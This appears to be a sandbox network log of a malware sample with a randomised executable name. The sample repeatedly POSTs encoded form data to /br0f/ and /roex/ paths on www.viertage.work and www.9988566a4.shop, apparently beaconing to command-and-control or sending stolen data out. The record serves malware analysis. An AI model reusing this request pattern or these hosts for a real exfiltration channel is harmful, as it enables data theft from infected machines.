Jul 9, 2024 12:10:54.515111923 CEST	826	OUT	POST /br0f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.viertage.work Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.viertage.work Referer: http://www.viertage.work/br0f/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6a 69 4b 65 2b 72 55 35 4e 52 61 46 52 72 59 31 47 34 70 66 7a 66 64 62 32 42 52 7a 6a 42 6e 35 43 4d 52 5a 6d 4f 75 72 6d 6b 69 69 63 32 54 4f 4f 57 30 67 54 68 53 4a 46 73 50 5a 39 57 32 76 77 55 43 35 32 39 51 4e 70 61 70 52 67 55 64 5a 44 74 77 70 39 57 57 39 39 75 41 70 4e 53 70 52 31 49 66 34 43 66 6d 71 6b 69 4a 52 35 55 30 53 73 4c 49 51 66 50 70 53 6c 31 78 4b 57 65 4b 6a 75 56 30 2b 48 45 49 2f 4b 6e 72 32 69 48 41 4f 39 36 56 63 2b 57 70 5a 39 67 32 30 44 6c 4b 7a 48 48 41 6b 32 4a 43 78 71 39 61 58 33 37 34 79 50 6e 7a 72 75 4c 52 42 71 6d 7a 75 Data Ascii: lv-=jiKe+rU5NRaFRrY1G4pfzfdb2BRzjBn5CMRZmOurmkiic2TOOW0gThSJFsPZ9W2vwUC529QNpapRgUdZDtwp9WW99uApNSpR1If4CfmqkiJR5U0SsLIQfPpSl1xKWeKjuV0+HEI/Knr2iHAO96Vc+WpZ9g20DlKzHHAk2JCxq9aX374yPnzruLRBqmzu
Jul 9, 2024 12:10:55.101762056 CEST	978	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 09 Jul 2024 10:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Tue, 09 Jul 2024 11:10:55 GMT Cache-Control: max-age=3600 Pragma: public Cache-Control: public Content-Security-Policy: default-src http: 'unsafe-inline' 'unsafe-eval' X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Request-Id: 0784209fa0b90472403075fe1c2cd474 Content-Encoding: gzip Data Raw: 31 61 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 90 51 6f da 30 14 85 9f 9b 5f 71 eb 67 12 8f 55 93 0a 4b 22 ad 40 d5 4a 94 54 5d b6 76 4f 95 49 6e c0 9a e3 64 f6 85 90 fe fa dd 14 36 21 6d 7e ba b6 7c ce fd ce 89 2f e7 d9 2c ff f1 b8 80 2d d5 06 1e bf dd 2c ef 67 20 42 29 9f af 66 52 ce f3 39 bc dc e5 0f 4b 18 47 1f e0 d6 a9 1a 3d 92 94 8b 95 08 c4 96 a8 9d 4a d9 75 5d d4 5d 45 8d db c8 fc 49 1e 06 9f f1 20 3c 8d 61 75 52 45 25 95 22 0d e2 f7 45 87 da 58 9f fc c7 62 3c 99 4c 8e 4a 01 fc 69 6a 94 dd 24 02 ad 80 bf 13 7b 5c c2 83 b2 6a 83 25 ac 7b 50 d6 eb b5 41 70 8d c1 29 68 db 1d 5e b5 55 05 e9 3d be 96 4d ad b4 f5 30 ec 45 55 a6 01 f0 89 6b 24 c5 81 a9 0d f1 d7 4e ef 13 51 34 96 d0 52 48 7d 8b 02 4e b7 44 10 1e 48 0e bc 9f a1 d8 2a c7 d1 13 ed 9b f0 fa fa d3 24 1c 0b 90 e7 76 96 bb 49 c4 53 76 93 e5 5f cf 2c 56 d9 fd 6a be 78 19 c1 2a bb cd 96 cb ec 99 2b 78 67 20 4d 06 d3 a1 bc bd 46 47 1c 26 ea 1a f7 13 b6 ca c3 1a d1 82 c3 8d f6 84 0e cb 58 1e 3f 07 b1 3c 86 88 d7 4d d9 a7 c1 45 dc 82 32 7a 63 [TRUNCATED] Data Ascii: 1admQo0_qgUK"@JT]vOInd6!m~\|/,-,g B)fR9KG=Ju]]EI <auRE%"EXb<LJij${\j%{PAp)h^U=M0EUk$NQ4RH}NDH$vISv_,Vjx+xg MFG&X?<ME2zc9c,Pi+\|qZ#_<:],c+Eoz`-.L5op0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49757	185.181.104.242	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:57.095263958 CEST	850	OUT	POST /br0f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.viertage.work Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.viertage.work Referer: http://www.viertage.work/br0f/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6a 69 4b 65 2b 72 55 35 4e 52 61 46 53 4c 6f 31 46 62 78 66 79 2f 64 45 35 68 52 7a 74 68 6d 77 43 4d 64 5a 6d 4b 2f 77 6e 58 4b 69 63 55 4c 4f 50 53 6f 67 55 68 53 4a 4f 4d 50 51 7a 32 33 74 77 55 65 41 32 2f 45 4e 70 61 74 52 67 51 56 5a 41 61 45 6d 2b 6d 57 37 37 75 41 72 44 79 70 52 31 49 66 34 43 65 43 51 6b 6a 68 52 34 6c 45 53 74 76 63 58 53 76 70 52 31 6c 78 4b 41 75 4c 4c 75 56 30 51 48 46 55 5a 4b 6b 54 32 69 44 45 4f 2b 76 35 64 77 57 70 66 67 51 33 2b 46 46 2f 58 42 78 67 2f 77 72 43 7a 31 4c 57 49 77 61 59 73 65 56 36 77 37 63 52 6d 74 42 36 47 43 57 56 4e 75 73 33 5a 36 65 73 30 49 64 4d 67 6b 6e 69 79 62 51 3d 3d Data Ascii: lv-=jiKe+rU5NRaFSLo1Fbxfy/dE5hRzthmwCMdZmK/wnXKicULOPSogUhSJOMPQz23twUeA2/ENpatRgQVZAaEm+mW77uArDypR1If4CeCQkjhR4lEStvcXSvpR1lxKAuLLuV0QHFUZKkT2iDEO+v5dwWpfgQ3+FF/XBxg/wrCz1LWIwaYseV6w7cRmtB6GCWVNus3Z6es0IdMgkniybQ==
Jul 9, 2024 12:10:57.710562944 CEST	978	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 09 Jul 2024 10:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Tue, 09 Jul 2024 11:10:57 GMT Cache-Control: max-age=3600 Pragma: public Cache-Control: public Content-Security-Policy: default-src http: 'unsafe-inline' 'unsafe-eval' X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Request-Id: e53b8286c611ec5218bfec172a6c2a78 Content-Encoding: gzip Data Raw: 31 61 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 90 51 6f da 30 14 85 9f 9b 5f 71 eb 67 12 8f 55 93 0a 4b 22 ad 40 d5 4a 94 54 5d b6 76 4f 95 49 6e c0 9a e3 64 f6 85 90 fe fa dd 14 36 21 6d 7e ba b6 7c ce fd ce 89 2f e7 d9 2c ff f1 b8 80 2d d5 06 1e bf dd 2c ef 67 20 42 29 9f af 66 52 ce f3 39 bc dc e5 0f 4b 18 47 1f e0 d6 a9 1a 3d 92 94 8b 95 08 c4 96 a8 9d 4a d9 75 5d d4 5d 45 8d db c8 fc 49 1e 06 9f f1 20 3c 8d 61 75 52 45 25 95 22 0d e2 f7 45 87 da 58 9f fc c7 62 3c 99 4c 8e 4a 01 fc 69 6a 94 dd 24 02 ad 80 bf 13 7b 5c c2 83 b2 6a 83 25 ac 7b 50 d6 eb b5 41 70 8d c1 29 68 db 1d 5e b5 55 05 e9 3d be 96 4d ad b4 f5 30 ec 45 55 a6 01 f0 89 6b 24 c5 81 a9 0d f1 d7 4e ef 13 51 34 96 d0 52 48 7d 8b 02 4e b7 44 10 1e 48 0e bc 9f a1 d8 2a c7 d1 13 ed 9b f0 fa fa d3 24 1c 0b 90 e7 76 96 bb 49 c4 53 76 93 e5 5f cf 2c 56 d9 fd 6a be 78 19 c1 2a bb cd 96 cb ec 99 2b 78 67 20 4d 06 d3 a1 bc bd 46 47 1c 26 ea 1a f7 13 b6 ca c3 1a d1 82 c3 8d f6 84 0e cb 58 1e 3f 07 b1 3c 86 88 d7 4d d9 a7 c1 45 dc 82 32 7a 63 [TRUNCATED] Data Ascii: 1admQo0_qgUK"@JT]vOInd6!m~\|/,-,g B)fR9KG=Ju]]EI <auRE%"EXb<LJij${\j%{PAp)h^U=M0EUk$NQ4RH}NDH$vISv_,Vjx+xg MFG&X?<ME2zc9c,Pi+\|qZ#_<:],c+Eoz`-.L5op0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49758	185.181.104.242	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:59.676304102 CEST	1863	OUT	POST /br0f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.viertage.work Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.viertage.work Referer: http://www.viertage.work/br0f/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6a 69 4b 65 2b 72 55 35 4e 52 61 46 53 4c 6f 31 46 62 78 66 79 2f 64 45 35 68 52 7a 74 68 6d 77 43 4d 64 5a 6d 4b 2f 77 6e 52 53 69 64 6c 72 4f 4f 7a 6f 67 56 68 53 4a 4e 4d 50 64 7a 32 33 73 77 55 58 49 32 2f 59 33 70 5a 46 52 68 33 56 5a 42 75 59 6d 6c 57 57 37 35 75 41 6f 4e 53 70 2b 31 49 50 38 43 66 79 51 6b 6a 68 52 34 6d 63 53 70 37 49 58 42 66 70 53 6c 31 78 4f 57 65 4b 6d 75 56 73 6d 48 46 51 57 4a 55 7a 32 37 6a 55 4f 34 64 42 64 38 57 70 64 6a 51 32 72 46 46 6a 49 42 77 49 46 77 71 32 56 31 4d 36 49 31 75 6b 36 61 57 2b 36 6a 2f 52 55 71 42 75 43 4c 57 4a 79 32 6f 65 6d 74 66 70 57 51 74 39 76 69 6c 76 45 4b 6c 62 2b 57 46 5a 5a 63 41 4c 6e 77 67 34 77 31 6f 33 73 2b 32 4d 7a 2f 42 76 55 59 34 36 51 58 30 55 45 73 51 4c 4c 32 4b 6c 6d 61 2b 32 50 36 72 65 73 52 4b 5a 77 76 44 61 6c 78 72 56 78 53 6d 57 44 78 6f 68 4d 6a 4f 59 54 59 37 32 6a 4c 6c 58 67 6d 48 48 5a 57 56 49 73 64 6e 4f 7a 64 51 72 6b 49 76 70 72 36 79 5a 56 2f 53 48 2f 6c 6d 43 70 52 57 54 51 57 53 63 6d 64 37 [TRUNCATED] Data Ascii: lv-=jiKe+rU5NRaFSLo1Fbxfy/dE5hRzthmwCMdZmK/wnRSidlrOOzogVhSJNMPdz23swUXI2/Y3pZFRh3VZBuYmlWW75uAoNSp+1IP8CfyQkjhR4mcSp7IXBfpSl1xOWeKmuVsmHFQWJUz27jUO4dBd8WpdjQ2rFFjIBwIFwq2V1M6I1uk6aW+6j/RUqBuCLWJy2oemtfpWQt9vilvEKlb+WFZZcALnwg4w1o3s+2Mz/BvUY46QX0UEsQLL2Klma+2P6resRKZwvDalxrVxSmWDxohMjOYTY72jLlXgmHHZWVIsdnOzdQrkIvpr6yZV/SH/lmCpRWTQWScmd7Eu7AMXt91isp7sB1vAHdIeWfODM8SdlFbCJfusVYIFtIIIXue/DBcJrzGhfRLUDq2crEmXKH1ci9P51e2POXmyH45fOub8IThH03w6hpgQI76djgLj2IcP9nzGQMSrLpIFkG2PTWUZUWNlkpCG7wUA4NnBOsbYCIWuM8zn1Yi/+LqQQ5uPM1rOFQ/3aOVWBja/uN98B1f8Mxj/B/OuWMZu6om6hHjJ5/AdM1Wv6rcARvrIZr97LqHF8LI4dhEqyDk5GcGM43NP3d0sfulz2sfxJaScP2m0KtAaxsjQmXawdh+JFKMPqeqZ6+eGisSa5r71DWum3AUtEWtFGX4LbOILaoG0PjjYIurJw1i5fnhJu+t7WXgMBVWFsVbnwJDnZjwVS7yYA4YPJNVA7J+5kZfPsUJrFJIwWX6J221nO/oc0IAfFgGqppjrl9YPQA3oD32rQtz+ryTZgq7OSaQD9+HhPyjMBnwaUmZmGCj3SMDFiG1TUIPuXzrbymj9FQ1JqWq5fbTm75BcZ5t0+xSXr/hKRzlrYkGLzlXJlqEGZpOpWhG1xZH9OBGz1HJWH8zLbbRFpyHWzEx8bh8f97RYGB6j8qmUDHiPTdJgzxea77Z2tTGoIzhYIFOpcHtjSonz/cIO1RXQvAAiWBLbirQor24CAi8Dw/dmiAG6 [TRUNCATED]
Jul 9, 2024 12:11:00.287606955 CEST	978	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 09 Jul 2024 10:11:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Tue, 09 Jul 2024 11:11:00 GMT Cache-Control: max-age=3600 Pragma: public Cache-Control: public Content-Security-Policy: default-src http: 'unsafe-inline' 'unsafe-eval' X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Request-Id: 004b3f8042813d09bc15aceac1963669 Content-Encoding: gzip Data Raw: 31 61 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 90 51 6f da 30 14 85 9f 9b 5f 71 eb 67 12 8f 55 93 0a 4b 22 ad 40 d5 4a 94 54 5d b6 76 4f 95 49 6e c0 9a e3 64 f6 85 90 fe fa dd 14 36 21 6d 7e ba b6 7c ce fd ce 89 2f e7 d9 2c ff f1 b8 80 2d d5 06 1e bf dd 2c ef 67 20 42 29 9f af 66 52 ce f3 39 bc dc e5 0f 4b 18 47 1f e0 d6 a9 1a 3d 92 94 8b 95 08 c4 96 a8 9d 4a d9 75 5d d4 5d 45 8d db c8 fc 49 1e 06 9f f1 20 3c 8d 61 75 52 45 25 95 22 0d e2 f7 45 87 da 58 9f fc c7 62 3c 99 4c 8e 4a 01 fc 69 6a 94 dd 24 02 ad 80 bf 13 7b 5c c2 83 b2 6a 83 25 ac 7b 50 d6 eb b5 41 70 8d c1 29 68 db 1d 5e b5 55 05 e9 3d be 96 4d ad b4 f5 30 ec 45 55 a6 01 f0 89 6b 24 c5 81 a9 0d f1 d7 4e ef 13 51 34 96 d0 52 48 7d 8b 02 4e b7 44 10 1e 48 0e bc 9f a1 d8 2a c7 d1 13 ed 9b f0 fa fa d3 24 1c 0b 90 e7 76 96 bb 49 c4 53 76 93 e5 5f cf 2c 56 d9 fd 6a be 78 19 c1 2a bb cd 96 cb ec 99 2b 78 67 20 4d 06 d3 a1 bc bd 46 47 1c 26 ea 1a f7 13 b6 ca c3 1a d1 82 c3 8d f6 84 0e cb 58 1e 3f 07 b1 3c 86 88 d7 4d d9 a7 c1 45 dc 82 32 7a 63 [TRUNCATED] Data Ascii: 1admQo0_qgUK"@JT]vOInd6!m~\|/,-,g B)fR9KG=Ju]]EI <auRE%"EXb<LJij${\j%{PAp)h^U=M0EUk$NQ4RH}NDH$vISv_,Vjx+xg MFG&X?<ME2zc9c,Pi+\|qZ#_<:],c+Eoz`-.L5op0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49759	185.181.104.242	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:11:02.820585012 CEST	565	OUT	GET /br0f/?lv-=ugi+9bpxNAaZR8wICrxq2eMEzwxItzjvBeZsufXo3FfvAETDHi1JbXCTNdvb4BDU5HS2z+wM6O9UukgZHdIpmHivweVWPh9LzIjwD/7QkR1e8x0qwg==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.viertage.work Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:11:03.412784100 CEST	1149	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 09 Jul 2024 10:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Tue, 09 Jul 2024 11:11:03 GMT Cache-Control: max-age=3600 Pragma: public Cache-Control: public Content-Security-Policy: default-src http: 'unsafe-inline' 'unsafe-eval' X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Request-Id: c9bd29aa721ebb45071c8c9ef77a78b1 Data Raw: 32 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 46 72 61 6d 65 73 65 74 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 66 72 61 6d 65 73 65 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 21 20 4d 61 6e 61 67 65 64 20 62 79 20 61 6e 73 69 62 6c 65 20 72 6f 6c 65 3a 20 69 6e 77 78 5f 69 6e 61 63 74 69 76 65 5f 64 6f 6d 61 69 6e 73 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d [TRUNCATED] Data Ascii: 270<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><! Managed by ansible role: inwx_inactive_domains ><head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <meta name="ROBOTS" content="NOINDEX, NOFOLLOW"> <title>www.viertage.work has been registered</title></head><body><p align="center"><font face="Verdana, Arial, Helvetica, serif" size=2>www.viertage.work was successfully registered. There is no content yet.</font></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49760	38.145.202.186	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:11:08.956190109 CEST	829	OUT	POST /roex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.9988566a4.shop Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.9988566a4.shop Referer: http://www.9988566a4.shop/roex/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 31 35 58 42 77 68 56 79 44 2b 48 65 2f 76 49 4c 73 4c 67 77 77 5a 5a 31 4d 31 61 78 59 38 4e 75 71 63 7a 6c 5a 66 34 38 2b 2f 4b 46 35 76 59 55 62 79 70 64 6f 75 54 30 59 78 54 77 67 51 34 53 69 36 68 4e 45 79 65 55 49 54 37 59 79 65 63 43 47 4f 54 48 61 4b 48 6e 75 6f 75 62 30 53 6c 44 2f 48 48 6d 4b 47 6d 65 50 6a 64 45 68 33 72 42 57 67 51 6a 50 43 6c 49 41 33 66 6d 76 56 62 64 4d 64 69 35 37 67 6b 71 56 4a 42 63 69 37 31 4b 7a 65 37 41 31 44 77 47 73 7a 70 75 2f 6a 49 51 45 45 34 6d 78 59 57 47 4c 55 6c 32 4d 58 44 65 65 6a 2b 7a 47 41 75 78 4f 71 4c 49 Data Ascii: lv-=15XBwhVyD+He/vILsLgwwZZ1M1axY8NuqczlZf48+/KF5vYUbypdouT0YxTwgQ4Si6hNEyeUIT7YyecCGOTHaKHnuoub0SlD/HHmKGmePjdEh3rBWgQjPClIA3fmvVbdMdi57gkqVJBci71Kze7A1DwGszpu/jIQEE4mxYWGLUl2MXDeej+zGAuxOqLI
Jul 9, 2024 12:11:09.524163008 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:11:09 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49761	38.145.202.186	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:11:11.535007954 CEST	853	OUT	POST /roex/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.9988566a4.shop Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.9988566a4.shop Referer: http://www.9988566a4.shop/roex/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 31 35 58 42 77 68 56 79 44 2b 48 65 74 2f 34 4c 74 73 4d 77 34 5a 5a 30 44 56 61 78 57 73 4e 71 71 63 2f 6c 5a 64 55 73 2b 4b 61 46 35 4f 6f 55 61 7a 70 64 39 75 54 30 58 52 54 73 39 41 35 51 69 36 6c 46 45 7a 69 55 49 53 66 59 79 66 73 43 46 39 72 49 62 61 48 68 33 59 75 64 2b 79 6c 44 2f 48 48 6d 4b 47 44 31 50 6a 56 45 68 6e 62 42 58 46 39 31 48 69 6c 4a 4a 58 66 6d 35 56 62 52 4d 64 6a 63 37 6c 45 41 56 4c 4a 63 69 2f 78 4b 79 4c 50 44 2b 44 78 50 68 54 6f 75 35 69 39 56 46 57 78 7a 73 72 62 6c 66 6e 6c 65 43 57 6a 41 50 52 33 6f 54 58 75 57 4a 4e 43 67 58 73 71 76 59 62 37 66 34 64 49 39 38 74 79 41 7a 57 72 58 58 67 3d 3d Data Ascii: lv-=15XBwhVyD+Het/4LtsMw4ZZ0DVaxWsNqqc/lZdUs+KaF5OoUazpd9uT0XRTs9A5Qi6lFEziUISfYyfsCF9rIbaHh3Yud+ylD/HHmKGD1PjVEhnbBXF91HilJJXfm5VbRMdjc7lEAVLJci/xKyLPD+DxPhTou5i9VFWxzsrblfnleCWjAPR3oTXuWJNCgXsqvYb7f4dI98tyAzWrXXg==
Jul 9, 2024 12:11:12.099292040 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 09 Jul 2024 10:11:12 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
